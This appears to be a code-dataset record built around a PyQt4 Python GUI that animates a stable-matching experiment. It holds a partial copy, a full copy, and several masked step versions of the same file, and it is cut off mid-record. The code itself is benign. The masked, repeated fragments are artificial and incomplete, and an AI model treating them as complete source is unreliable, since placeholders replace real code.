str(self.matching.get_spouse_rank(-(int(couple[1]) + 1)))) self.__changeText(self.history_scene, 'M_' + couple[0] + '_S', str(self.matching.get_spouse_rank(int(couple[0]) + 1))) self.__changeText(self.history_scene, 'W_' + couple[1] + '_S', str(self.matching.get_spouse_rank(-(int(couple[1]) + 1)))) lineiter += 1 if lineiter <= length: if 'threw away' in record[lineiter]: throwCouple = record[lineiter].replace(' ', '').split( 'threwaway') node1 = self.__findItem('M_' + throwCouple[1], Node, self.history_scene.items()) node2 = self.__findItem('W_' + throwCouple[0], Node, self.history_scene.items()) self.__addLink(self.history_scene, throwCouple[1] + '-' + throwCouple[0], node1, node2, (0, 255, 0), 'break') self.__deleteLink(self.statu_scene, throwCouple[1] + '-' + throwCouple[0]) self.__changeText(self.statu_scene, 'M_' + throwCouple[ 1] + '_S', '-1') self.__changeText(self.history_scene, 'M_' + throwCouple[1] + '_S', '-1') self.statu_view.update() self.history_view.update() elif 'Failed' in record[lineiter]: self.__addLink(self.history_scene, couple[0] + '-' + couple[1], man, woman, (0, 0, 255), 'failed') self.statu_view.update() self.history_view.update() def nextStep(self): info = self.matching.step() self.showText.setText(info) self.__clearLinks(self.statu_scene) self.__clearUpLinks(self.history_scene) self.__refreshViewStep(info) def nextEpoch(self): info = self.matching.epoch() self.__clearLinks(self.statu_scene) self.__clearUpLinks(self.history_scene) sep = info.split('\n')[0] records = info.split(sep + '\n') del records[0] for record in records: self.__refreshViewStep(sep + '\n' + record) self.showText.setText(info) def exeToEnd(self): info = self.matching.exe_to_end() self.__clearLinks(self.statu_scene) self.__clearUpLinks(self.history_scene) records = info.split('EPOCH') del records[0] for record in records: self.__refreshViewStep('EPOCH' + record) self.showText.setText(info) def closeEvent(self, event): reply = QtGui.QMessageBox.question(self, 'Message', 'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui. QMessageBox.No) if reply == QtGui.QMessageBox.Yes: event.accept() else: event.ignore() <|reserved_special_token_0|> <|reserved_special_token_1|> # -*- coding:utf-8 -*- import sys from PyQt4 import QtGui,QtCore import experiment class Node(QtGui.QGraphicsEllipseItem): def __init__(self,name): super(Node, self).__init__() self.__name = name def getName(self): return self.__name def changeBrush(self, color, style): b = QtGui.QBrush() b.setStyle(style) c = b.color() c.setRgb(color[0],color[1],color[2]) b.setColor(c) self.setBrush(b) class Link(QtGui.QGraphicsLineItem): def __init__(self,name,link_type): super(Link, self).__init__() self.__link_type = link_type self.__name = name def getName(self): return self.__name def getType(self): return self.__link_type def changeType(self,link_type): self.__link_type = link_type def changeColor(self,color): p = QtGui.QPen() c = p.color() c.setRgb(color[0],color[1],color[2]) p.setColor(c) self.setPen(p) class Text(QtGui.QGraphicsTextItem): def __init__(self,name,text): super(Text, self).__init__(text) self.__name = name def getName(self): return self.__name class GUI(QtGui.QWidget): def __init__(self): super(GUI, self).__init__() self.exp = experiment.Experiments(20,3) self.matching = self.exp.unidirectional_match() self.man_rank, self.woman_rank = self.matching.get_avg_rank() self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank() self.initUI() self.showMaximized() def initUI(self): self.setWindowTitle(' Stable Matching ') grid = QtGui.QGridLayout() step_button = QtGui.QPushButton('STEP',self) epoch_button = QtGui.QPushButton('EPOCH',self) end_button = QtGui.QPushButton('END',self) self.showText = QtGui.QTextEdit(self) self.showText.setText('START! ') self.statu_scene = QtGui.QGraphicsScene(self) self.initScene(self.statu_scene) self.statu_view = QtGui.QGraphicsView() self.statu_view.setScene(self.statu_scene) self.statu_view.setMinimumSize(600,600) self.statu_view.show() self.history_scene = QtGui.QGraphicsScene(self) self.initScene(self.history_scene) self.history_view = QtGui.QGraphicsView() self.history_view.setScene(self.history_scene) self.history_view.setMinimumSize(600,600) self.history_view.show() grid.addWidget(step_button,1,1) grid.addWidget(epoch_button,2,1) grid.addWidget(end_button,3,1) grid.addWidget(self.showText,1,2,4,1) grid.addWidget(self.statu_view,1,3,4,1) grid.addWidget(self.history_view,1,4,4,1) self.setLayout(grid) self.connect(step_button,QtCore.SIGNAL('clicked()'),self.nextStep) self.connect(epoch_button,QtCore.SIGNAL('clicked()'),self.nextEpoch) self.connect(end_button,QtCore.SIGNAL('clicked()'),self.exeToEnd) def initScene(self,scene): man_num = self.exp.get_man_num() woman_num = self.exp.get_woman_num() length = max(man_num,woman_num) * 30 scene.setSceneRect(0,0,600,length) for i in range(man_num): node = self.__addNode(scene, 'M_'+str(i),120,i*30,20,20,(0,0,255)) for i in range(woman_num): node = self.__addNode(scene, 'W_'+str(i),480,i*30,20,20,(255,0,0)) def __addNode(self, scene, name, x, y, w, h, color=(0,0,0)): sex = name.split('_')[0] number = name.split('_')[1] rank_bias = spouse_bias = rank = 0 if sex == 'M': rank = self.man_rank[int(number)] rank_bias = -2.0 spouse_bias = -4.0 elif sex == 'W': rank = self.woman_rank[int(number)] rank_bias = 2.0 spouse_bias = 4.0 node = Node(name) node.setRect(x,y,w,h) node.changeBrush(color,1) if int(number) < 10: number = '0' + number text = QtGui.QGraphicsTextItem (number, node) text.setPos(x,y) text.setTextWidth(1.5*w) font = QtGui.QFont('Times',8) font.setWeight(99) text.setFont(font) rank_text = QtGui.QGraphicsTextItem (str(rank), node) rank_text.setPos(x + rank_bias*w,y) rank_text.setTextWidth(2*w) font = QtGui.QFont('Times',8) font.setWeight(99) rank_text.setFont(font) spouse_text = Text(name+'_S', '-1') spouse_text.setPos(x + spouse_bias*w,y) spouse_text.setTextWidth(1.5*w) font = QtGui.QFont('Times',8) font.setWeight(99) spouse_text.setFont(font) scene.addItem(node) scene.addItem(spouse_text) def __addLink(self, scene, name, node1, node2, color = (0,0,0), link_type = ''): center1 = node1.boundingRect().center() center2 = node2.boundingRect().center() name1 = node1.getName().split('_')[1] name2 = node2.getName().split('_')[1] link = Link(name1 + '-' + name2, link_type) link.setLine(center1.x(),center1.y(),center2.x(),center2.y()) link.changeColor(color) scene.addItem(link) def __deleteLink(self, scene, name): link = self.__findItem(name, Link, scene.items()) scene.removeItem(link) def __changeText(self, scene, name, text): txt = self.__findItem(name, Text, scene.items()) txt.setPlainText(text) def __findItem(self, name, _type, items): for item in items: if isinstance(item, _type) and name == item.getName(): return item return False def __clearLinks(self, scene): for item in scene.items(): if isinstance(item,Link) and item.getType() != 'marry': scene.removeItem(item) def __clearUpLinks(self, scene): for item in scene.items(): if isinstance(item, Link): scene.removeItem(item) def __refreshViewStep(self, info): record = info.split('\n') length = len(record) lineiter = 0 epoch = record[lineiter].strip().split(':')[1] lineiter += 1 step = record[lineiter].strip().split(':')[1] lineiter += 1 statu = record[lineiter].strip() if 'DONE' in statu: return 0 elif 'is not activity' in statu: return 1 elif 'is married' in statu: return 2 couple = statu.replace(' ','').split('target') man = self.__findItem('M_'+couple[0], Node, self.statu_scene.items()) woman = self.__findItem('W_'+couple[1], Node, self.statu_scene.items()) lineiter += 1 sui_rank = record[lineiter].replace(' ','').split(':')[1] lineiter += 1 if 'Husband Rank' in record[lineiter]: husband_rank = record[lineiter].replace(' ','').split(':')[1] lineiter += 1 if 'Succeed' in record[lineiter]: self.__addLink(self.statu_scene, couple[0] + '-' + couple[1], man, woman, link_type = 'marry') self.__addLink(self.history_scene, couple[0] + '-' + couple[1], man, woman, link_type = 'marry') self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S', str(self.matching.get_spouse_rank(int(couple[0]) + 1))) self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S', str(self.matching.get_spouse_rank(-(int(couple[1]) + 1)))) self.__changeText(self.history_scene, 'M_' + couple[0] + '_S', str(self.matching.get_spouse_rank(int(couple[0]) + 1))) self.__changeText(self.history_scene, 'W_' + couple[1] + '_S', str(self.matching.get_spouse_rank(-(int(couple[1]) + 1)))) lineiter += 1 if lineiter <= length: if 'threw away' in record[lineiter]: throwCouple = record[lineiter].replace(' ','').split('threwaway') node1 = self.__findItem('M_' + throwCouple[1], Node, self.history_scene.items()) node2 = self.__findItem('W_' + throwCouple[0], Node, self.history_scene.items()) self.__addLink(self.history_scene, throwCouple[1] + '-' + throwCouple[0], node1, node2, (0,255,0) , 'break') self.__deleteLink(self.statu_scene, throwCouple[1] + '-' + throwCouple[0]) self.__changeText(self.statu_scene, 'M_' + throwCouple[1] + '_S', '-1') self.__changeText(self.history_scene, 'M_' + throwCouple[1] + '_S', '-1') self.statu_view.update() self.history_view.update() elif 'Failed' in record[lineiter]: self.__addLink(self.history_scene, couple[0] + '-' + couple[1], man, woman, (0,0,255) , 'failed') self.statu_view.update() self.history_view.update() def nextStep(self): info = self.matching.step() self.showText.setText(info) self.__clearLinks(self.statu_scene) self.__clearUpLinks(self.history_scene) self.__refreshViewStep(info) def nextEpoch(self): info = self.matching.epoch() self.__clearLinks(self.statu_scene) self.__clearUpLinks(self.history_scene) sep = info.split('\n')[0] records = info.split(sep+'\n') del records[0] for record in records: self.__refreshViewStep(sep+'\n'+record) self.showText.setText(info) def exeToEnd(self): info = self.matching.exe_to_end() self.__clearLinks(self.statu_scene) self.__clearUpLinks(self.history_scene) records = info.split('EPOCH') del records[0] for record in records: self.__refreshViewStep('EPOCH'+record) self.showText.setText(info) def closeEvent(self, event): reply = QtGui.QMessageBox.question(self, 'Message', 'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui.QMessageBox.No) if reply == QtGui.QMessageBox.Yes: event.accept() else: event.ignore() if __name__ == '__main__': app = QtGui.QApplication(sys.argv) gui = GUI() gui.show() sys.exit(app.exec_())
flexible
{ "blob_id": "edbb721784dff81e3e1ab5e0458a4080508807fe", "index": 4335, "step-1": "<mask token>\n\n\nclass Text(QtGui.QGraphicsTextItem):\n <mask token>\n\n def getName(self):\n return self.__name\n\n\nclass GUI(QtGui.QWidget):\n\n def __init__(self):\n super(GUI, self).__init__()\n self.exp = experiment.Experiments(20, 3)\n self.matching = self.exp.unidirectional_match()\n self.man_rank, self.woman_rank = self.matching.get_avg_rank()\n self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank()\n self.initUI()\n self.showMaximized()\n\n def initUI(self):\n self.setWindowTitle(' Stable Matching ')\n grid = QtGui.QGridLayout()\n step_button = QtGui.QPushButton('STEP', self)\n epoch_button = QtGui.QPushButton('EPOCH', self)\n end_button = QtGui.QPushButton('END', self)\n self.showText = QtGui.QTextEdit(self)\n self.showText.setText('START! ')\n self.statu_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.statu_scene)\n self.statu_view = QtGui.QGraphicsView()\n self.statu_view.setScene(self.statu_scene)\n self.statu_view.setMinimumSize(600, 600)\n self.statu_view.show()\n self.history_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.history_scene)\n self.history_view = QtGui.QGraphicsView()\n self.history_view.setScene(self.history_scene)\n self.history_view.setMinimumSize(600, 600)\n self.history_view.show()\n grid.addWidget(step_button, 1, 1)\n grid.addWidget(epoch_button, 2, 1)\n grid.addWidget(end_button, 3, 1)\n grid.addWidget(self.showText, 1, 2, 4, 1)\n grid.addWidget(self.statu_view, 1, 3, 4, 1)\n grid.addWidget(self.history_view, 1, 4, 4, 1)\n self.setLayout(grid)\n self.connect(step_button, QtCore.SIGNAL('clicked()'), self.nextStep)\n self.connect(epoch_button, QtCore.SIGNAL('clicked()'), self.nextEpoch)\n self.connect(end_button, QtCore.SIGNAL('clicked()'), self.exeToEnd)\n\n def initScene(self, scene):\n man_num = self.exp.get_man_num()\n woman_num = self.exp.get_woman_num()\n length = max(man_num, woman_num) * 30\n scene.setSceneRect(0, 0, 600, length)\n for i in range(man_num):\n node = self.__addNode(scene, 'M_' + str(i), 120, i * 30, 20, 20,\n (0, 0, 255))\n for i in range(woman_num):\n node = self.__addNode(scene, 'W_' + str(i), 480, i * 30, 20, 20,\n (255, 0, 0))\n\n def __addNode(self, scene, name, x, y, w, h, color=(0, 0, 0)):\n sex = name.split('_')[0]\n number = name.split('_')[1]\n rank_bias = spouse_bias = rank = 0\n if sex == 'M':\n rank = self.man_rank[int(number)]\n rank_bias = -2.0\n spouse_bias = -4.0\n elif sex == 'W':\n rank = self.woman_rank[int(number)]\n rank_bias = 2.0\n spouse_bias = 4.0\n node = Node(name)\n node.setRect(x, y, w, h)\n node.changeBrush(color, 1)\n if int(number) < 10:\n number = '0' + number\n text = QtGui.QGraphicsTextItem(number, node)\n text.setPos(x, y)\n text.setTextWidth(1.5 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n text.setFont(font)\n rank_text = QtGui.QGraphicsTextItem(str(rank), node)\n rank_text.setPos(x + rank_bias * w, y)\n rank_text.setTextWidth(2 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n rank_text.setFont(font)\n spouse_text = Text(name + '_S', '-1')\n spouse_text.setPos(x + spouse_bias * w, y)\n spouse_text.setTextWidth(1.5 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n spouse_text.setFont(font)\n scene.addItem(node)\n scene.addItem(spouse_text)\n\n def __addLink(self, scene, name, node1, node2, color=(0, 0, 0),\n link_type=''):\n center1 = node1.boundingRect().center()\n center2 = node2.boundingRect().center()\n name1 = node1.getName().split('_')[1]\n name2 = node2.getName().split('_')[1]\n link = Link(name1 + '-' + name2, link_type)\n link.setLine(center1.x(), center1.y(), center2.x(), center2.y())\n link.changeColor(color)\n scene.addItem(link)\n\n def __deleteLink(self, scene, name):\n link = self.__findItem(name, Link, scene.items())\n scene.removeItem(link)\n\n def __changeText(self, scene, name, text):\n txt = self.__findItem(name, Text, scene.items())\n txt.setPlainText(text)\n\n def __findItem(self, name, _type, items):\n for item in items:\n if isinstance(item, _type) and name == item.getName():\n return item\n return False\n\n def __clearLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link) and item.getType() != 'marry':\n scene.removeItem(item)\n\n def __clearUpLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link):\n scene.removeItem(item)\n\n def __refreshViewStep(self, info):\n record = info.split('\\n')\n length = len(record)\n lineiter = 0\n epoch = record[lineiter].strip().split(':')[1]\n lineiter += 1\n step = record[lineiter].strip().split(':')[1]\n lineiter += 1\n statu = record[lineiter].strip()\n if 'DONE' in statu:\n return 0\n elif 'is not activity' in statu:\n return 1\n elif 'is married' in statu:\n return 2\n couple = statu.replace(' ', '').split('target')\n man = self.__findItem('M_' + couple[0], Node, self.statu_scene.items())\n woman = self.__findItem('W_' + couple[1], Node, self.statu_scene.\n items())\n lineiter += 1\n sui_rank = record[lineiter].replace(' ', '').split(':')[1]\n lineiter += 1\n if 'Husband Rank' in record[lineiter]:\n husband_rank = record[lineiter].replace(' ', '').split(':')[1]\n lineiter += 1\n if 'Succeed' in record[lineiter]:\n self.__addLink(self.statu_scene, couple[0] + '-' + couple[1],\n man, woman, link_type='marry')\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1],\n man, woman, link_type='marry')\n self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S',\n str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S',\n str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n self.__changeText(self.history_scene, 'M_' + couple[0] + '_S',\n str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.history_scene, 'W_' + couple[1] + '_S',\n str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n lineiter += 1\n if lineiter <= length:\n if 'threw away' in record[lineiter]:\n throwCouple = record[lineiter].replace(' ', '').split(\n 'threwaway')\n node1 = self.__findItem('M_' + throwCouple[1], Node,\n self.history_scene.items())\n node2 = self.__findItem('W_' + throwCouple[0], Node,\n self.history_scene.items())\n self.__addLink(self.history_scene, throwCouple[1] + '-' +\n throwCouple[0], node1, node2, (0, 255, 0), 'break')\n self.__deleteLink(self.statu_scene, throwCouple[1] +\n '-' + throwCouple[0])\n self.__changeText(self.statu_scene, 'M_' + throwCouple[\n 1] + '_S', '-1')\n self.__changeText(self.history_scene, 'M_' +\n throwCouple[1] + '_S', '-1')\n self.statu_view.update()\n self.history_view.update()\n elif 'Failed' in record[lineiter]:\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1],\n man, woman, (0, 0, 255), 'failed')\n self.statu_view.update()\n self.history_view.update()\n\n def nextStep(self):\n info = self.matching.step()\n self.showText.setText(info)\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n self.__refreshViewStep(info)\n\n def nextEpoch(self):\n info = self.matching.epoch()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n sep = info.split('\\n')[0]\n records = info.split(sep + '\\n')\n del records[0]\n for record in records:\n self.__refreshViewStep(sep + '\\n' + record)\n self.showText.setText(info)\n\n def exeToEnd(self):\n info = self.matching.exe_to_end()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n records = info.split('EPOCH')\n del records[0]\n for record in records:\n self.__refreshViewStep('EPOCH' + record)\n self.showText.setText(info)\n\n def closeEvent(self, event):\n reply = QtGui.QMessageBox.question(self, 'Message',\n 'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui.\n QMessageBox.No)\n if reply == QtGui.QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass Link(QtGui.QGraphicsLineItem):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass Text(QtGui.QGraphicsTextItem):\n\n def __init__(self, name, text):\n super(Text, self).__init__(text)\n self.__name = name\n\n def getName(self):\n return self.__name\n\n\nclass GUI(QtGui.QWidget):\n\n def __init__(self):\n super(GUI, self).__init__()\n self.exp = experiment.Experiments(20, 3)\n self.matching = self.exp.unidirectional_match()\n self.man_rank, self.woman_rank = self.matching.get_avg_rank()\n self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank()\n self.initUI()\n self.showMaximized()\n\n def initUI(self):\n self.setWindowTitle(' Stable Matching ')\n grid = QtGui.QGridLayout()\n step_button = QtGui.QPushButton('STEP', self)\n epoch_button = QtGui.QPushButton('EPOCH', self)\n end_button = QtGui.QPushButton('END', self)\n self.showText = QtGui.QTextEdit(self)\n self.showText.setText('START! ')\n self.statu_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.statu_scene)\n self.statu_view = QtGui.QGraphicsView()\n self.statu_view.setScene(self.statu_scene)\n self.statu_view.setMinimumSize(600, 600)\n self.statu_view.show()\n self.history_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.history_scene)\n self.history_view = QtGui.QGraphicsView()\n self.history_view.setScene(self.history_scene)\n self.history_view.setMinimumSize(600, 600)\n self.history_view.show()\n grid.addWidget(step_button, 1, 1)\n grid.addWidget(epoch_button, 2, 1)\n grid.addWidget(end_button, 3, 1)\n grid.addWidget(self.showText, 1, 2, 4, 1)\n grid.addWidget(self.statu_view, 1, 3, 4, 1)\n grid.addWidget(self.history_view, 1, 4, 4, 1)\n self.setLayout(grid)\n self.connect(step_button, QtCore.SIGNAL('clicked()'), self.nextStep)\n self.connect(epoch_button, QtCore.SIGNAL('clicked()'), self.nextEpoch)\n self.connect(end_button, QtCore.SIGNAL('clicked()'), self.exeToEnd)\n\n def initScene(self, scene):\n man_num = self.exp.get_man_num()\n woman_num = self.exp.get_woman_num()\n length = max(man_num, woman_num) * 30\n scene.setSceneRect(0, 0, 600, length)\n for i in range(man_num):\n node = self.__addNode(scene, 'M_' + str(i), 120, i * 30, 20, 20,\n (0, 0, 255))\n for i in range(woman_num):\n node = self.__addNode(scene, 'W_' + str(i), 480, i * 30, 20, 20,\n (255, 0, 0))\n\n def __addNode(self, scene, name, x, y, w, h, color=(0, 0, 0)):\n sex = name.split('_')[0]\n number = name.split('_')[1]\n rank_bias = spouse_bias = rank = 0\n if sex == 'M':\n rank = self.man_rank[int(number)]\n rank_bias = -2.0\n spouse_bias = -4.0\n elif sex == 'W':\n rank = self.woman_rank[int(number)]\n rank_bias = 2.0\n spouse_bias = 4.0\n node = Node(name)\n node.setRect(x, y, w, h)\n node.changeBrush(color, 1)\n if int(number) < 10:\n number = '0' + number\n text = QtGui.QGraphicsTextItem(number, node)\n text.setPos(x, y)\n text.setTextWidth(1.5 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n text.setFont(font)\n rank_text = QtGui.QGraphicsTextItem(str(rank), node)\n rank_text.setPos(x + rank_bias * w, y)\n rank_text.setTextWidth(2 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n rank_text.setFont(font)\n spouse_text = Text(name + '_S', '-1')\n spouse_text.setPos(x + spouse_bias * w, y)\n spouse_text.setTextWidth(1.5 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n spouse_text.setFont(font)\n scene.addItem(node)\n scene.addItem(spouse_text)\n\n def __addLink(self, scene, name, node1, node2, color=(0, 0, 0),\n link_type=''):\n center1 = node1.boundingRect().center()\n center2 = node2.boundingRect().center()\n name1 = node1.getName().split('_')[1]\n name2 = node2.getName().split('_')[1]\n link = Link(name1 + '-' + name2, link_type)\n link.setLine(center1.x(), center1.y(), center2.x(), center2.y())\n link.changeColor(color)\n scene.addItem(link)\n\n def __deleteLink(self, scene, name):\n link = self.__findItem(name, Link, scene.items())\n scene.removeItem(link)\n\n def __changeText(self, scene, name, text):\n txt = self.__findItem(name, Text, scene.items())\n txt.setPlainText(text)\n\n def __findItem(self, name, _type, items):\n for item in items:\n if isinstance(item, _type) and name == item.getName():\n return item\n return False\n\n def __clearLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link) and item.getType() != 'marry':\n scene.removeItem(item)\n\n def __clearUpLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link):\n scene.removeItem(item)\n\n def __refreshViewStep(self, info):\n record = info.split('\\n')\n length = len(record)\n lineiter = 0\n epoch = record[lineiter].strip().split(':')[1]\n lineiter += 1\n step = record[lineiter].strip().split(':')[1]\n lineiter += 1\n statu = record[lineiter].strip()\n if 'DONE' in statu:\n return 0\n elif 'is not activity' in statu:\n return 1\n elif 'is married' in statu:\n return 2\n couple = statu.replace(' ', '').split('target')\n man = self.__findItem('M_' + couple[0], Node, self.statu_scene.items())\n woman = self.__findItem('W_' + couple[1], Node, self.statu_scene.\n items())\n lineiter += 1\n sui_rank = record[lineiter].replace(' ', '').split(':')[1]\n lineiter += 1\n if 'Husband Rank' in record[lineiter]:\n husband_rank = record[lineiter].replace(' ', '').split(':')[1]\n lineiter += 1\n if 'Succeed' in record[lineiter]:\n self.__addLink(self.statu_scene, couple[0] + '-' + couple[1],\n man, woman, link_type='marry')\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1],\n man, woman, link_type='marry')\n self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S',\n str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S',\n str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n self.__changeText(self.history_scene, 'M_' + couple[0] + '_S',\n str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.history_scene, 'W_' + couple[1] + '_S',\n str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n lineiter += 1\n if lineiter <= length:\n if 'threw away' in record[lineiter]:\n throwCouple = record[lineiter].replace(' ', '').split(\n 'threwaway')\n node1 = self.__findItem('M_' + throwCouple[1], Node,\n self.history_scene.items())\n node2 = self.__findItem('W_' + throwCouple[0], Node,\n self.history_scene.items())\n self.__addLink(self.history_scene, throwCouple[1] + '-' +\n throwCouple[0], node1, node2, (0, 255, 0), 'break')\n self.__deleteLink(self.statu_scene, throwCouple[1] +\n '-' + throwCouple[0])\n self.__changeText(self.statu_scene, 'M_' + throwCouple[\n 1] + '_S', '-1')\n self.__changeText(self.history_scene, 'M_' +\n throwCouple[1] + '_S', '-1')\n self.statu_view.update()\n self.history_view.update()\n elif 'Failed' in record[lineiter]:\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1],\n man, woman, (0, 0, 255), 'failed')\n self.statu_view.update()\n self.history_view.update()\n\n def nextStep(self):\n info = self.matching.step()\n self.showText.setText(info)\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n self.__refreshViewStep(info)\n\n def nextEpoch(self):\n info = self.matching.epoch()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n sep = info.split('\\n')[0]\n records = info.split(sep + '\\n')\n del records[0]\n for record in records:\n self.__refreshViewStep(sep + '\\n' + record)\n self.showText.setText(info)\n\n def exeToEnd(self):\n info = self.matching.exe_to_end()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n records = info.split('EPOCH')\n del records[0]\n for record in records:\n self.__refreshViewStep('EPOCH' + record)\n self.showText.setText(info)\n\n def closeEvent(self, event):\n reply = QtGui.QMessageBox.question(self, 'Message',\n 'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui.\n QMessageBox.No)\n if reply == QtGui.QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass Link(QtGui.QGraphicsLineItem):\n\n def __init__(self, name, link_type):\n super(Link, self).__init__()\n self.__link_type = link_type\n self.__name = name\n <mask token>\n\n def getType(self):\n return self.__link_type\n\n def changeType(self, link_type):\n self.__link_type = link_type\n <mask token>\n\n\nclass Text(QtGui.QGraphicsTextItem):\n\n def __init__(self, name, text):\n super(Text, self).__init__(text)\n self.__name = name\n\n def getName(self):\n return self.__name\n\n\nclass GUI(QtGui.QWidget):\n\n def __init__(self):\n super(GUI, self).__init__()\n self.exp = experiment.Experiments(20, 3)\n self.matching = self.exp.unidirectional_match()\n self.man_rank, self.woman_rank = self.matching.get_avg_rank()\n self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank()\n self.initUI()\n self.showMaximized()\n\n def initUI(self):\n self.setWindowTitle(' Stable Matching ')\n grid = QtGui.QGridLayout()\n step_button = QtGui.QPushButton('STEP', self)\n epoch_button = QtGui.QPushButton('EPOCH', self)\n end_button = QtGui.QPushButton('END', self)\n self.showText = QtGui.QTextEdit(self)\n self.showText.setText('START! ')\n self.statu_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.statu_scene)\n self.statu_view = QtGui.QGraphicsView()\n self.statu_view.setScene(self.statu_scene)\n self.statu_view.setMinimumSize(600, 600)\n self.statu_view.show()\n self.history_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.history_scene)\n self.history_view = QtGui.QGraphicsView()\n self.history_view.setScene(self.history_scene)\n self.history_view.setMinimumSize(600, 600)\n self.history_view.show()\n grid.addWidget(step_button, 1, 1)\n grid.addWidget(epoch_button, 2, 1)\n grid.addWidget(end_button, 3, 1)\n grid.addWidget(self.showText, 1, 2, 4, 1)\n grid.addWidget(self.statu_view, 1, 3, 4, 1)\n grid.addWidget(self.history_view, 1, 4, 4, 1)\n self.setLayout(grid)\n self.connect(step_button, QtCore.SIGNAL('clicked()'), self.nextStep)\n self.connect(epoch_button, QtCore.SIGNAL('clicked()'), self.nextEpoch)\n self.connect(end_button, QtCore.SIGNAL('clicked()'), self.exeToEnd)\n\n def initScene(self, scene):\n man_num = self.exp.get_man_num()\n woman_num = self.exp.get_woman_num()\n length = max(man_num, woman_num) * 30\n scene.setSceneRect(0, 0, 600, length)\n for i in range(man_num):\n node = self.__addNode(scene, 'M_' + str(i), 120, i * 30, 20, 20,\n (0, 0, 255))\n for i in range(woman_num):\n node = self.__addNode(scene, 'W_' + str(i), 480, i * 30, 20, 20,\n (255, 0, 0))\n\n def __addNode(self, scene, name, x, y, w, h, color=(0, 0, 0)):\n sex = name.split('_')[0]\n number = name.split('_')[1]\n rank_bias = spouse_bias = rank = 0\n if sex == 'M':\n rank = self.man_rank[int(number)]\n rank_bias = -2.0\n spouse_bias = -4.0\n elif sex == 'W':\n rank = self.woman_rank[int(number)]\n rank_bias = 2.0\n spouse_bias = 4.0\n node = Node(name)\n node.setRect(x, y, w, h)\n node.changeBrush(color, 1)\n if int(number) < 10:\n number = '0' + number\n text = QtGui.QGraphicsTextItem(number, node)\n text.setPos(x, y)\n text.setTextWidth(1.5 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n text.setFont(font)\n rank_text = QtGui.QGraphicsTextItem(str(rank), node)\n rank_text.setPos(x + rank_bias * w, y)\n rank_text.setTextWidth(2 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n rank_text.setFont(font)\n spouse_text = Text(name + '_S', '-1')\n spouse_text.setPos(x + spouse_bias * w, y)\n spouse_text.setTextWidth(1.5 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n spouse_text.setFont(font)\n scene.addItem(node)\n scene.addItem(spouse_text)\n\n def __addLink(self, scene, name, node1, node2, color=(0, 0, 0),\n link_type=''):\n center1 = node1.boundingRect().center()\n center2 = node2.boundingRect().center()\n name1 = node1.getName().split('_')[1]\n name2 = node2.getName().split('_')[1]\n link = Link(name1 + '-' + name2, link_type)\n link.setLine(center1.x(), center1.y(), center2.x(), center2.y())\n link.changeColor(color)\n scene.addItem(link)\n\n def __deleteLink(self, scene, name):\n link = self.__findItem(name, Link, scene.items())\n scene.removeItem(link)\n\n def __changeText(self, scene, name, text):\n txt = self.__findItem(name, Text, scene.items())\n txt.setPlainText(text)\n\n def __findItem(self, name, _type, items):\n for item in items:\n if isinstance(item, _type) and name == item.getName():\n return item\n return False\n\n def __clearLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link) and item.getType() != 'marry':\n scene.removeItem(item)\n\n def __clearUpLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link):\n scene.removeItem(item)\n\n def __refreshViewStep(self, info):\n record = 